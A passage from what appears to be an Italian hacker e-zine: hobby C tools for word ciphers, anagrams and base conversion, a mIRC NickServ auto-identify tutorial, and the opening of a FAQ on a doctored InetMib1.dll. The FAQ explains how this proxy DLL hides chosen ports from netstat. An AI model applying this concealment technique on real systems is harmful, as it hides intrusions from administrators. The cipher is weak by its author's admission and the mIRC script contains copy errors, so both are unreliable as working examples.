    if(9<i)i-=7;
    j<<=4;
    j|=(i&0x0f);
   }
 return(j);
}


main(int nf,char **f)
{
FILE *vocab,*testo;
long c=0;
char s[30],s1[30];
vocab=fopen(f[1],"rb");
testo=fopen(f[2],"rb");

while(!feof(testo))
 {
 fscanf(testo,"%s",s);
 if(s[0]=='(')
  {
   printf(" %s",s);
  }
 else
  {
   rewind(vocab);
   for(c=0L;c<atol(s);c++)
   fscanf(vocab,"%s",s1);
   printf(" %s",s1);
  }
 }
 fclose(vocab);
 fclose(testo);
}

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::



:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 CODIFICA.BAT
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
@ECHO ATTENDI..
@tro vocab.txt %1 > passa
@ECHO ANCORA UN ATTIMO..
@dec vocab2.txt passa > %2
@del passa
@ECHO FINITO! ;-)
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::



:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 DECODIFICA.BAT
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
@ECHO ATTENDI..
@tro vocab2.txt %1 > passa
@ECHO ANCORA UN ATTIMO..
@dec vocab.txt passa > %2
@del passa
@ECHO FINITO! ;-)
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::



:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 CHIAVE.BAT
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
@ECHO ORGANIZZO IL VOCABOLARIO
@SORT vocab.txt > passa
@del vocab.txt
@del vocab2.txt
@ECHO CREO LA PRIMA CHIAVE
@SORT /+%1 passa > vocab.txt
@ECHO CREO LA SECONDA CHIAVE
@SORT /+%2 passa > vocab2.txt
@del passa
@ECHO FINITO! ;-)
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::



  metodo pratico di utilizzo.

  Abbiamo N utenti del cifrario che intendono comunicarsi degli originali messaggi cifrati.

  1. Si stabilisce un vocabolario standard di parole e lo si distribuisce a tutti gli interessati.

  2. ogni utente si fara' una copia del vocabolario chiamando il primo VOCAB1.TXT e il seconodo
     VOCAB2.TXT

  3. Si stabilira' per un certo periodo di comunue accordo tra tutti gli interessati di usare
     una determinata chiave AB (con A e B numeri interi X tali che 1<=X<=9 )

  all'atto della cifratura si procedera' cosi':

  Si metteranno nella stessa directory i programmi:

   TRO.EXE, DEC.EXE, DECODIFICA.BAT, CODIFICA.BAT, CHIAVE.BAT, VOCAB1.TXT, VOCAB2.TXT, testo.txt

    (testo.txt contiene il messaggio da cifrare o il cifrato da trasportare in chiaro)

  CHIAVE A B   (per organizzare i vocabolari secondo la chiave)  

  per codificare:
  CODIFICA  testo.txt  CIFRATO.TXT  

  per decodificare:
  DECODIFICA CIFRATO.TXT testo.txt


 .. e' un buon sistema?  .. e' sicuro? .. probabilmente no; 
    ma quale sistema e' sicuro? ;-)

 .. serve a qualcosa ? ..mah .. chi puo' dirlo?.. io mi sono divertito a farlo, spero anche voi
 vi siate divertiti nel leggerlo e/o nel provarlo. :))
 
       

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
22. Anagrammi / contrari / parole palindromiche
//---------------------------------------------------------------------------------------------------

  
  Ci siamo creati un file dizionario con TXT2DIX, l'equivalente file -paroliamo- (il dizionario
  delle firme caratteristiche), 

 .. vogliamo trovare gli anagrammi possibili di tutte le parole del dizionario delle firme

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
anagram.c
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <string.h>

// anagram vocabolario_paroliamo
// trova gli anagrammi dal vocabolario impostato

main(int nf, char **fi)
{
  char uno0[40];
  char uno[40];
  char due0[40];
  char due[40];
  FILE *f;
  long p,k=0;

 f=fopen(fi[1],"rb");
   fscanf(f,"%s",uno0);
   fscanf(f,"%s",due0);

 while(!feof(f))
  {
   fscanf(f,"%s",uno);
   fscanf(f,"%s",due);
   if(strstr(uno,uno0)&&(strlen(uno)==strlen(uno0)))
    {printf("%s %s - %s\n",uno0,due0,due);k++;}
   else
    {
     if(k>0)printf("-----------------------------------%d\n",k+1);
     k=0;
    }
   strcpy(uno0,uno);
   strcpy(due0,due);
  }
 fclose(f);
}

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

 Se il dizionario delle firme lo avremo chiamato FIRME.TXT

 con ANAGRAM FIRME.TXT > OUT.TXT

 otterremo un file OUT.TXT di questo tipo



 -------------------------------- OUT.TXT
aeiirstv riavesti - stiverai
aeiirstv stiverai - sviterai
aeiirstv sviterai - vestiari
aeiirstv vestiari - vestirai
aeiirstv vestirai - visitare
aeiirstv visitare - visitera
aeiirstv visitera - visterai
-----------------------------------8
aeiirsv svierai - visiera
-----------------------------------2
aeiirttv reattivi - riavetti
-----------------------------------2
aeiirvz viziare - viziera
-----------------------------------2
aeiisstv evitassi - svisiate
aeiisstv svisiate - vietassi
-----------------------------------3
aeiisttv evitasti - stiviate
aeiisttv stiviate - svitiate
aeiisttv svitiate - vietasti
aeiisttv vietasti - visitate
aeiisttv visitate - vistiate
-----------------------------------6

 ...
 
 ...

 --------------------------------   

 a sinistra della firma caratteristica abbiamo un termine col relativo anagramma di senso compiuto.
 All'interno di uno stesso settore si avranno tutti gli anagrammi relativi ad una firma comune, ovvero
 tutti gli anagrammi di una certa parola.
 In fondo alla riga di chiusura sezione un numero indichera' il numero di anagrammi trovati per firma
 caratteritica.

 Es: VISITATE ..anagrammi = evitasti, stiviate, svitiate, vietasti, vistiate




   Se vorremo invece trovare oltre agli anagrammi di senso compiuto anche le parole presenti nel 
 dizionario con contrari di senso compiuto (parole palindromiche .. che a loro volta sono anche
 abbligatoriamente anagrammi!) dovremo compilare questi due programmi:

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
PREPALI.C
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <string.h>

// pocessa un dizionari di tipo "paroliamo" [ chiave  parola ] e crea un file
// per palind2

main(int nf,char **tt)
{
  char uno0[40];
  char uno[40];
  char due0[40];
  char due[40];
  FILE *f;
  long p,k=0;

 f=fopen(tt[1],"rb");
   fscanf(f,"%s",uno0);
   fscanf(f,"%s",due0);

 while(!feof(f))
  {
   fscanf(f,"%s",uno);
   fscanf(f,"%s",due);
   if(strstr(uno,uno0)&&(strlen(uno)==strlen(uno0)))
    {
     if(k==0){printf("[ %s %s ",due0,due);k++;}
     else {printf("%s ",due);k++;}
     }
    else
     {
      if(k!=0)printf("]\n");
      k=0;
      }
   strcpy(uno0,uno);
   strcpy(due0,due);
  }
 fclose(f);
}


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
PALIND2.C
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <string.h>


//trova gli anagrammi e i contrari delle parole nel file out
//creato con prepalin

main(int nf,char **f)
{
FILE *e,*v1,*v2;
int p,c,c1;
long h=0;
char s[20][40],s1[40],s2[40];


v1=fopen(f[1],"rb");

while(!feof(v1))
  {
   fscanf(v1,"%s",s1);

   if(strstr(s1,"]"))
    {
     for(p=1;p<h;p++)
       printf("%d(%s) ",p,s[p]);
     printf("\n");

     for(p=1;p<h;p++)
      {
       strcpy(s2,s[p]);
       strrev(s2);
       for(c=1;c<h;c++)
	{
	 if(strstr(s[c],s2))
	 printf(" <-> %s\n",s2);
	}
      }

     h=0;
    }

   if(h>0)
    {
     strcpy(s[h++],s1);
    }

   if(strstr(s1,"["))h=1;
  }
  fclose(v1);
}
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


    Passeremo il file delle firme caratteristiche FIRME.TXT prima al programma PREPALI

    PREPALI FIRME.TXT > OUTPUT.TXT

      ottenendo un file anagrammi inscatolati in una lista


 -------------------------- OUTPUT.TXT
[ spaccerai spacciare ]
[ scarcerai scaricare ]
[ scarcerati straccerai stracciare ]
[ ricercata traccerai tracciare ]
[ accertassi scaricaste tracciasse ]
[ caricaste scaricate ]
[ accertasti stracciate tracciaste ]
[ accertai caricate tacciare ]
[ accertati tracciate ]
[ accettai eccitata tacciate ]
[ allaccero calcolare calcolera ]
[ accoltela calcolate ]
[ accumulare accumulera ]
[ consacrare consacrera scarcerano ]
[ accentrato concretata raccontate ]
[ accentravo concretava ]
[ accattone accettano ]
[ accostare accostera ]
 ecc.. 
-------------------------- 

 quindi passeremo questo file al programma finale PALIND2 che trovera' tutte la parole palindromiche.

 PALIND2 OUTPUT.TXT > PALI.TXT

 le parole palindromiche saranno visualizzate nel nuovo file di seguito alla lista.

 ------------------------- PALI.TXT
1(rassegni) 2(regnassi) 
1(ginestra) 2(regnasti) 
1(argenti) 2(girante) 3(granite) 4(ingrate) 5(integra) 6(regnati) 7(ritenga) 
1(assegni) 2(ingessa) 3(negassi) 
 <-> ingessa
 <-> assegni
1(negasti) 2(segnati) 
1(potreste) 2(pretesto) 3(proteste) 
1(potere) 2(tepore) 
1(errero) 2(errore) 
1(perse) 2(peser) 3(prese) 
1(ere) 2(ree) 
 <-> ere
1(rese) 2(sere) 
1(esser) 2(resse) 
 <-> resse
 <-> esser
1(rette) 2(tetre) 
 -------------------------

 .. le palindromiche sono segnate col simbolo iniziale <->



XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
23. Aiuta Riddle. ;-)
//---------------------------------------------------------------------------------------------------


   In che senso? .. ce l'ha un senso.. ce l'ha. :))

   nel file Archivio.ace sono presenti nel folder Parole anche altri programmetti per giocare
   con queste ultime.
  
   Charpre, Calchar, Charhex sono qcclusi anche qui di seguito

   come recitano le righe di help che ho inserito al loro interno:

CALCHAR
// calchar  FILE_VOCABOLARIO  FILE_OUTPUT  LISTA_DI_CHAR
// es calchar  vocab.txt ok.txt abcdefgiosz
// trova in vocab tutte le parole costruite con i caratteri citati

 
CHARHEX
// charhex  FILE_VOCABOLARIO  FILE_OUTPUT
// es charhex  vocab.txt ok.txt
// trova in vocab tutte le parole costruite con i caratteri esadecimali


CHARPRE
// charpre  FILE_VOCABOLARIO  FILE_OUTPUT  LISTA_DI_CHAR lun_parola
// es charpre  vocab.txt ok.txt parsifal 9
// trova in vocab tutte le parole costruite con i caratteri citati
// vengono considerate solo le parole di lun_parola caratteri



  A cosa servono dovete scoprirlo da soli.. un esempio per aiutarvi ve lo da pero' :))

  LILIS TENNY 3541

  LILIS (rovesciato) = 51717  .. in esadecimale = CA05  = caos.

  Tenny in ROT13 = graal

   3541 in esadecimale = dd5 .. rovesciato = SPP!

  Chissa' quante parole si possono scrivere con i caratteri esadecimali, e con quelli che rovesciati
  sembrano essere altre lettere.. mah! :))
  
  Forse si potrebbe pure scoprire il significato di porte come la 31337, o chissa'..
  Per questo e Per i piu' esigenti accludo pure un comodo e minimo programma per fare 
  le conversioni da una base qualunque ad un altra base qualunque.. (so che a molti tornera' utile!) ;-)


  I programmi..

  
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
CHARPRE.C
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <string.h>

main(int nf,char **f)
{
FILE *e,*vocab;
int p,c,c1;
long h=0;
char s[30],s1[30];

// charpre  FILE_VOCABOLARIO  FILE_OUTPUT  LISTA_DI_CHAR lun_parola
// es charpre  vocab.txt ok.txt parsifal 9
// trova in vocab tutte le parole costruite con i caratteri citati
// vengono considerate solo le parole di lun_parola caratteri

vocab=fopen(f[1],"rb");
e=fopen(f[2],"wb");

strcpy(s1,f[3]);

clrscr();

while(!feof(vocab))
 {
 fscanf(vocab,"%s",s);h++;
 p=0;
 for(c=0;c<strlen(s);c++)
  for(c1=0;c1<strlen(s1);c1++)
    if(s[c]==s1[c1])
      {
       p++;
       break;
      }

 if(p==strlen(s)&&p==atoi(f[4]))
  {
   printf("%s\n",s);
   fprintf(e,"%s\n",s);
  }
 }
 fclose(vocab);
 fclose(e);
}

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::




:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
CALCHAR
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <string.h>

main(int nf,char **f)
{
FILE *e,*vocab;
int p,c,c1;
long h=0;
char s[30],s1[30];

// calchar  FILE_VOCABOLARIO  FILE_OUTPUT  LISTA_DI_CHAR
// es calchar  vocab.txt ok.txt abcdefgiosz
// trova in vocab tutte le parole costruite con i caratteri citati

vocab=fopen(f[1],"rb");
e=fopen(f[2],"wb");

strcpy(s1,f[3]);

clrscr();

while(!feof(vocab))
 {
 fscanf(vocab,"%s",s);h++;
 p=0;
 for(c=0;c<strlen(s);c++)
  for(c1=0;c1<strlen(s1);c1++)
    if(s[c]==s1[c1])
      {
       p++;
       break;
      }

 if(p==strlen(s))
  {
   printf("%s\n",s);
   fprintf(e,"%s\n",s);
  }
 }
 fclose(vocab);
 fclose(e);
}

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::




:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
CHARHEX.C
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <string.h>
#include <math.h>

main(int nf,char **f)
{
FILE *e,*vocab;
int n,m,p,c,c1;
float j;
long h=0;
char s[30],s1[30];

// charhex  FILE_VOCABOLARIO  FILE_OUTPUT
// es charhex  vocab.txt ok.txt
// trova in vocab tutte le parole costruite con i caratteri esadecimali

f[3]="abcdefgiosz";

vocab=fopen(f[1],"rb");
e=fopen(f[2],"wb");

strcpy(s1,f[3]);

clrscr();

while(!feof(vocab))
 {
 fscanf(vocab,"%s",s);h++;
 p=0;
 for(c=0;c<strlen(s);c++)
  for(c1=0;c1<strlen(s1);c1++)
    if(s[c]==s1[c1])
      {
       p++;
       break;
      }

 if(p==strlen(s))
  {
   j=0;
   printf("%20s ",s);
   fprintf(e,"%20s ",s);

   for(n=0;n<strlen(s);n++)
     {
     if(s[n]=='o')s[n]='0';
     if(s[n]=='i')s[n]='1';
     if(s[n]=='s')s[n]='5';
     if(s[n]=='z')s[n]='2';
     if(s[n]=='g')s[n]='6';


     m=s[n]>='0'&&s[n]<='9'?s[n]-'0':s[n]-'a'+10;
     j=j+m*pow(16,strlen(s)-n-1);
     }
    printf("(%20s) %20.f\n",s,j);
   fprintf(e,"(%20s) %20.0f\n",s,j);
  }
 }
 fclose(vocab);
 fclose(e);
}

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::




:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
BASE2BASE.C
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stddef.h>
#include <stdio.h>
char buf[0xaa];

char *l2s(long n,char *s,size_t mc,unsigned base)
{
  char r;
  int v=0;
  if(base<2||base>36)
   return " *";
   if(n<0){v=1;n=-n;}
   s[--mc]=0;
   for(mc--;mc>v&&n!=0;mc--){
     r=(char)(n%base);
     if(r<=9)s[mc]=r+'0';
     else s[mc]=r-10+'A';
     n/=base;}
   if(v)s[--mc]='-';
   if(mc>0)memset(s,32,mc+1);
   return s+mc;}

char *b2b(const char *b1,int ba,int bb){
  long n;
  size_t l=0xaa;
  char *c;
  n=strtol(b1,&c,ba);
  return l2s(n,buf,l,bb);
}


main(int nf, char **f)
{
printf("( %s )_%s ... (%s )_%s\n",f[1],f[2],b2b(f[1],atoi(f[2]),atoi(f[3])),f[3]);
}

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


  Sintassi di BASE2BASE


  BASE2BASE NUMERO Base_di_partenza  Base_di_arrivo


  es  BASE2BASE   137 10  2 = ( 137 )_10  ... ( 10001001 )_2

      BASE2BASE 31337  8 10 = ( 31337 )_8 ... ( 13023 )_10

      BASE2BASE   SPP 32  8 = ( SPP )_32  ... ( 71471 )_8



 ... FINE!! ..hi hi hi .. che lavoraccio.

 E con questo concludo 
     sperando di essere stato utile a qualcuno 
         e di non aver annoiato troppo gli altri. :))


    -= MASTER *** =-
 master@spippolatori.com 
      SPP MEMBER
  www.spippolatori.com
 
===========================================================================================

-----------------------
Mirc 5.51 - Prima Parte
-----------------------
By Darkman

Creazione di uno script [prima parte]

Premetto che ci sono vari modi per creare uno script, due tra questi sono:
-Aggiungere righe e modificare i file gi esistenti
-Creare dei nuovi files e linkarli a Mirc

Per il nostro primo menu ne creeremo uno in grado di farci settare alcuni nick ed in caso le pass necessarie per l' autoidentificazione.
Creiamo un file con estensione .mrc (es. ai.mrc) in questi particolari files si deve inserire nell' intestazione il tipo di menu in cui appariranno i comandi:
menu status,nicklist,query {
"qui vanno inserite le righe di comando"
}
status: indica che questi comandi appariranno nel menu principale della finestra "status".
nicklist: indica che questi comandi appariranno nel menu principale della finestra dei nicks.
query: indica che questi comandi appariranno nel menu principale della finestra della query.
Tra le due { (graffe) verranno inseriti i comandi necessari.
Ora inseriamo tra queste due parentesi i seguenti comandi:
-
NickServ Auto-Idenitfy 
.On:/echo NickServ Auto-Identify is now ON | /set %non on
.Off:/echo NickServ Auto-Identify is now OFF | /set %non off
.-
.[ %nick1 ]
..Set Nick:/set %nick1 $?*="Enter Nickname" | /echo NickServ Auto-Identify Password Set
..-
..Forget Nick:/set %nick1 UNSETTED | /echo NickServ Auto-Identify Nick Reset
..Forget Pass:/unset %npass1 | /echo NickServ Auto-Identify Password Reset
..Set Pass:/set %npass1 $?*="Enter NickServ Password" | /echo NickServ Auto-Identify Password Set
..-
..IDENTIFY:./msg nickserv identify %npass2 | /echo Auto-Identified to NickServ at $time
.[ %nick2 ]
..Set Nick:/set %nick2 $?*="Enter Nickname" | /echo NickServ Auto-Identify Password Set
..-
..Forget Nick:/set %nick2 UNSETTED | /echo NickServ Auto-Identify Nick Reset
..Forget Pass:/unset %npass2 | /echo NickServ Auto-Identify Password Reset
..Set Pass:/set %npass2 $?*="Enter NickServ Password" | /echo NickServ Auto-Identify Password Set
..-
..IDENTIFY:./msg nickserv identify %npass2 | /echo Auto-Identified to NickServ at $time
.[ %nick3 ]
..Set Nick:/set %nick3 $?*="Enter Nickname" | /echo NickServ Auto-Identify Password Set
..-
..Forget Nick:/set %nick3 UNSETTED | /echo NickServ Auto-Identify Nick Reset
..Forget Pass:/unset %npass3 | /echo NickServ Auto-Identify Password Reset
..Set Pass:/set %npass3 $?*="Enter NickServ Password" | /echo NickServ Auto-Identify Password Set
..-
..IDENTIFY:./msg nickserv identify %npass3 | /echo Auto-Identified to NickServ at $time
.[ %nick4 ]
..Set Nick:/set %nick4 $?*="Enter Nickname" | /echo NickServ Auto-Identify Password Set
..-
..Forget Nick:/set %nick4 UNSETTED | /echo NickServ Auto-Identify Nick Reset
..Forget Pass:/unset %npass4 | /echo NickServ Auto-Identify Password Reset
..Set Pass:/set %npass4 $?*="Enter NickServ Password" | /echo NickServ Auto-Identify Password Set
..-
..IDENTIFY:./msg nickserv identify %npass4 | /echo Auto-Identified to NickServ at $time
.[ %nick5 ]
..Set Nick:/set %nick5 $?*="Enter Nickname" | /echo NickServ Auto-Identify Password Set
..-
..Forget Nick:/set %nick5 UNSETTED | /echo NickServ Auto-Identify Nick Reset
..Forget Pass:/unset %npass5 | /echo NickServ Auto-Identify Password Reset
..Set Pass:/set %npass $?*="Enter NickServ Password" | /echo NickServ Auto-Identify Password Set
..-
..IDENTIFY:./msg nickserv identify %npass5 | /echo Auto-Identified to NickServ at $time

In questo modo abbiamo creato un menu (NickServ Auto-Idenitfy) in cui sar possibile settare se attivare l' autoidentificazione, fino a 5 nicks e le rispettive passwords. Facciamo una piccola spiegazione:
.[ %nick1 ]
..Set Nick:/set %nick1 $?*="Enter Nickname" | /echo NickServ Auto-Identify Password Set
..-
..Forget Nick:/set %nick1 UNSETTED | /echo NickServ Auto-Identify Nick Reset
..Forget Pass:/unset %npass1 | /echo NickServ Auto-Identify Password Reset
..Set Pass:/set %npass1 $?*="Enter NickServ Password" | /echo NickServ Auto-Identify Password Set
..-
..IDENTIFY:./msg nickserv identify %npass2 | /echo Auto-Identified to NickServ at $time

%nick1  una variabile che viene letta e visualizzata, tutte le righe prima dei due punti indicano il nome del menu che verr visualizzato, il /set serve in questo caso a settare la variabile secondo cosa scriveremo nella finestra che si visualizzer eseguendo il comando $?*="Enter Nickname", il | indica che successivamente verr eseguito un altro comando (in questo caso /echo), /echo visualizzer sulla finestra status una scritta che corrisponde a NickServ Auto-Identify Password Set, /unset serve a cancellare una variabile precedentemente settata.
Perch questo script funzioni correttamente ora dobbiamo fare 2 cose:
-Creare un secondo file
-linkare i due files nel Mirc.ini
Creiamo un secondo file chiamato remote.ini in cui verranno inserite tutte le nostre variabili nel seguente modo:
[variables]
n0=%nick1 UNSETTED
n1=%nick2 UNSETTED
n2=%nick3 UNSETTED
n3=%nick4 UNSETTED
n4=%nick5 UNSETTED
Ora tutte le variabili per la corretta visualizzazione del menu sono settate.
Apriamo il file mirc.ini andiamo alla fine del file dove  settato [rfiles]
ed inseriamo seccessivamente alle righe gi esistenti la seguente stringa:
n3=ai.mrc
ora il programma all' avvio sapr che dovr caricare questo file.
Aprimo il nostro Mirc e troveremo nei vari menu (nicklist, status e query) alla fine una nuova voce "NickServ Auto-Idenitfy".

Ora vediamo come creare uno script per l' autoidentificazione del nick alla connessione del Mirc al server (necessario se il vostro nick  registrato).
Questo script f riferimento a variabili inserite nel primo script che abbiamo creato.
Creiamo un file e lo chiamiamo ai.ini (oppure inseriamo i comandi alla fine del file aliases.ini) e settiamolo in questo modo:
[aliases]
n0=/ID {
n1= if ( $me == %nick1 ) && ( %non == on ) { /pass %npass1 | goto end }
n2= if ( $me == %nick2 ) && ( %non == on ) { /pass %npass2 | goto end }
n3= if ( $me == %nick3 ) && ( %non == on ) { /pass %npass3 | goto end }
n4= if ( $me == %nick4 ) && ( %non == on ) { /pass %npass4 | goto end }
n5= if ( $me == %nick5 ) && ( %non == on ) { /pass %npass5 | goto end }
n6= else { goto end } 
n7= :end
n8=}
In questo modo si crea un comando (/ID) che identificher a seconda del nick che abbiamo (tra quelli settati nel precedente script) la password corrispondente. Ora per far eseguire questo file inseriamo la solita riga di comando nel nostro mirc.ini in [rfiles]:
n4=ai.ini
Fatto ci per far si che venga eseguito automaticamente alla connessione al server IRC apriamo il nostro client e inseriamo in:
file
option
IRC
perform
la seguente riga: /ID
e abilitiamo il "on connect, perform these commands:"
Ora quando ci connetteremo al server verremo identificati automaticamente.

E qu finisce la prima parte del nostro script :-)

===========================================================================================
InetMib1 fake FAQ                                 
by Devil
SPP Member


Introduzione
------------

Si potrebbe obiettare che questa FAQ sia del tutto superflua perche' il
file leggimi.txt incluso nel pacchetto e' gia' abbastanza esplicativo.
Io potrei rispondere: "Si e' vero ! Ma magari leggendo qui vi possono venire
altre idee."  Mai sottovalutare le varie angolazioni sotto cui vedere un
singolo argomento: molto spesso, a me personalmente, le idee vengono cosi':
analizzando qualcosa di perfettamente conosciuto in un' ottica completamente
diversa. Mi piace pensare che, proprio perche' il programmatore medio 
ragiona sempre in una sola direzione, esistono bug impensabili... 
e sfruttabili :)


D) Che cosa e' MIB ?

R) Sta per Management Information Base ed e' un tentativo di standard 
per i dati gestionali di rete. In soldoni specifica la tipologia di 
informazioni che un host o un gateway devono raccogliere e le modalita'
che gli amministratori devono seguire per accedervi.
Ad esempio una delle tante specifiche dice che bisogna tener conto di tutti i 
pacchetti UDP uscenti ed entranti e che i software gestionali possono
accedere a questi dati  solo in read-only.
MIB definisce un insieme di variabili che contengono i dati in otto grandi
categorie ma non definisce le regole con cui accedere a queste variabili.
Queste sono definite da un altro standard l'SMI (Structure of Management 
Information). L' SMI specifica che l'accesso all' informazione cercata
passi per un meccanismo ad interrogazione di tipo gerarchico usando un 
linguaggio al tempo stesso flessibile ed interpretabile da un umano.
Parlavamo di livelli gerarchici ed eccovi subito uno schemino:


iso     ccitt      isp-ccitt
 1        2             3

 |

org
 3
 |
 |
dod
 6
 |
 |
Internet
   1---------- -------- ----------\
  /           |        |           \
 /

Directory     mgmt    Sperimental    Private
    1          2          3             4
               |
               |
              mib
 ------------- 1 ----------------------------------------------
 |      |            |               |    |      |     |      |
                                                         
system  Interfaces Addr.Translation  ip  icmp    tcp  udp    egp
  1         2          3              4   5       6    7      8

Come si puo' vedere le variabili sono disposte ad albero tipo
directory.Questo e' un sistema ottimo per eseguire interrogazioni
veloci. (infatti non e' un caso che molte entita' su internet seguano
la stessa filosofia, vedi i nomi di dominio).
Le ultime otto categorie riportate nell' albero sono le variabili MIB a cui
abbiamo accennato prima. Le altre suddivisioni le ho omesse per chiarezza.
Eseguire un' interrogazione MIB per avere i dati icmp, ad esempio, significa
inviare in qualche modo all' host  la sequenza di numeri siffatta: 
1.3.6.1.2.1.5.
Per eseguirne una sulle interfacce di rete dell' host la sequenza di
interrogazione sara' : 1.3.6.1.2.1.2
Ognuna delle otto variabili si suddivide in ulteriori rami in cui ci sono
variabili specifiche al tipo di richiesta.
La variabile system ,ad esempio, ha 3 sottovariabili cosi' nominate:

1 sysdescr     Descrizione del sistema (nome versione dell'hardware)

2 sysobjectID  Identificazione del venditore del sottosistema di gestione
               di rete
3 sysUpTime    Tempo in centesimi di secondi da quando il sottosistema
               di gestione e' partito.

Vogliamo sapere chi e' il costruttore hardware ? Facciamo un'interrogazione
con la sequenza 1.3.6.1.2.1.1.1. E cosi' per tutte le variabili MIB
definite dallo standard. I vari protocolli di gestione (snmp e cmot) usano
questa tipologia di interrogazione per far si che gli amministratori di 
rete sappiano, in ogni momento, lo stato delle loro macchine.(vedi SMS
Microsoft, Tivoli ecc..)
E' ovvio che non pretendo di essere esaustivo. Per ulteriori
informazioni date un ' occhiata alle rfc 1155,1156.

D) Che cosa e' InetMib1.DLL ?
R) E' una libreria fornita a corredo dei sistemi windows che permette
un tipo di interrogazione "locale" dello stato del sistema di rete.
Un qualunque programma Win32 puo' chiamare le funzioni esportate da questa
DLL e, utilizzando la sintassi gerarchica a cui accennavamo prima, avere
informazioni sullo stato delle vari interfacce di rete installate.
Netstat ed altri programmi equivalenti la usano per stampare statistiche 
molto utili su tutti i protocolli della suite TCP/IP.

D) Come funziona la InetMib1.DLL fake ?
R) L'idea che c'e' dietro il funzionamento della DLL "truccata" da me e' 
semplicissimo: 
- Costruisco una dll di nome InetMib1.dll che esporta le stesse funzioni
  dell'originale.
- Rinomino la dll originale in Inetmib1.dev.
- Dall' interno della dll "truccata" chiamo le funzioni originali
  filtrando quello che c'e' da filtrare.

Quando un qualunque programma esterno che voglia avere le statistiche
di sistema carichera' in memoria inetmib1.dll in realta' carichera'
la libreria "truccata" che poi , a sua volta, carichera' l'originale
rinominata.
Le funzioni esportate dalla libreria truccata fanno un routing fedele
delle chiamate all' originale (per avere risultati corretti delle 
statistiche) ma in un caso le risposte al chiamante NON vengono date.
Il caso e' quello in cui il chiamante ci ha richiesto la tabella
delle connessioni attive TCP e UDP e le porte che dovremmo ritornare
indietro fanno parte del set di porte da nascondere.
La Dll truccata infatti durante il processo di linking dinamico
apre un file di testo, devset.ini, in cui c'e' una lista di porte
che NON devono essere mostrate all' utente.
Prima di ritornare i valori la InetMib1 truccata controlla che le porte
